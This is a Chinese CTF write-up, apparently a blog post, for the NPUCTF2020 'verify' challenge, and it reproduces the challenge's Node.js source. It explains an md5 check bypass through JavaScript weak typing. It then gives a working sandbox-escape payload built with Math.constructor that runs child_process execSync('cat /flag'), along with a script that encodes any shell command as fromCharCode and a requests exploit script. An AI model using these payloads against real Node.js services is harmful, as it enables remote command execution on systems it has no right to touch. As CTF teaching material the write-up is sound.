[NPUCTF2020]验证

[NPUCTF2020]验证🐎

const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');

const fs = require('fs');
const crypto = require('crypto');

const keys = require('./key.js').keys;

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

function saferEval(str) {
  if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个

const template = fs.readFileSync('./index.html').toString();
function render(results) {
  return template.replace('{{results}}', results.join('<br/>'));
}

const app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

app.use(cookieSession({
  name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给👴爪⑧
  keys
}));

Object.freeze(Object);
Object.freeze(Math);

app.post('/', function (req, res) {
  let result = '';
  const results = req.session.results || [];
  const { e, first, second } = req.body;
  if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
    if (req.body.e) {
      try {
        result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
      } catch (e) {
        console.log(e);
        result = 'Wrong Wrong Wrong!!!';
      }
      results.unshift(`${req.body.e}=${result}`);
    }
  } else {
    results.unshift('Not verified!');
  }
  if (results.length > 13) {
    results.pop();
  }
  req.session.results = results;
  res.send(render(req.session.results));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  req.session.admin = req.session.admin || 0;
  res.send(render(req.session.results = req.session.results || []))
});

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});
  • 解题分两步,首先js弱类型绕过,然后绕过saferEval函数的正则表达式

js弱类型绕过

[[Nodejs#弱类型]]

  • 和php类似
    image.png
  • nodejs的字符串无论和其他什么基础类型相加都是字符类型
    image.png
  • 数字类型没有length属性,字典也没有
    image.png

来看源码

if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0]))
  • 首先要first和second的length属性相同,那就不能用数字和字典了,使用字符串或者数组
  • 然后因为keys[0]我们不知道,但是他基本上是String类型,根据上面的String类型加别的类型规则,我们只需让first=[1],second=‘1’,就可以让first+keys[0] === second+keys[0],从而绕过md5
    不能用text格式了,需要用json传,保证一个是数组一个是字符串。
    image.png

绕过正则表达式

  • 首先来看看源码
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, ''))
  • (?:Math(?:\.\w+)?):匹配 Math.[0-9a-z]
  • [()+\-*/&|^%<>=,?:]:匹配中括号内任意一个字符(\-为减号)
  • (?:\d+\.?\d*(?:e\d+)?):匹配 数字开头 一个或零个点 一个或零个 e[0-9]
  • :匹配空格

箭头函数

=>是箭头函数(匿名函数)其类似其类似 (参数1, 参数2, …, 参数N) => { return 函数返回语句内容 } ,调用的话可以看下面的例子(如果参数为单个的话就不需要括号了)
image.png

  • 可以看到当为单个参数的时候可以不用括号
  • 当我们使用()代替{}就会牵扯到自调用

自调用:(()=>())()

可以使用()代替{}

  • 这时和{}的写法有所不同
  • 不需要return了
  • (参数1, 参数2, …, 参数N) => ( 语句1,语句2,语句3…… ) ,执行顺序从左到右,已最右边的语句结果作为返回值
    image.png
  • 它写单个参数的话也可以不用括号
    image.png

payload

  • 根据上面我们在来看这题需要使用箭头函数的自调用+toString绕过
  • 而且开头要使用Math
  • 由此得出payload
(Math=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41,46,116,111,83,116,114,105,110,103,40,41))()))(Math+1)

排一下版,更好理解

(Math=>
    (Math=Math.constructor,
            Math.constructor(
                Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,
                    99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,
                    46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
                    95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,
                    121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()
    )
)(Math+1)

其中,String.fromCharCode的内容可以用脚本生成

def gen(cmd):  
s = f"return process.mainModule.require('child_process').execSync('{cmd}').toString()"  
return ','.join([str(ord(i)) for i in s])  
  
print('String.fromCharCode('+gen('ls')+')')

# String.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,108,115,39,41,46,116,111,83,116,114,105,110,103,40,41)

image.png

  • 我是直接使用Postman的,也可以用脚本
    payload脚本
import requests
import json

headers = {
    "Content-Type": "application/json"
}
url = "http://18ba1e8e-c273-45f3-bd2b-a2b05a922885.node4.buuoj.cn:81/"
data = {"e": "2-1", "first": [0], "second": "0"}
r = requests.post(url, data=json.dumps(data), headers=headers)
print(r.text)
  • 23
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值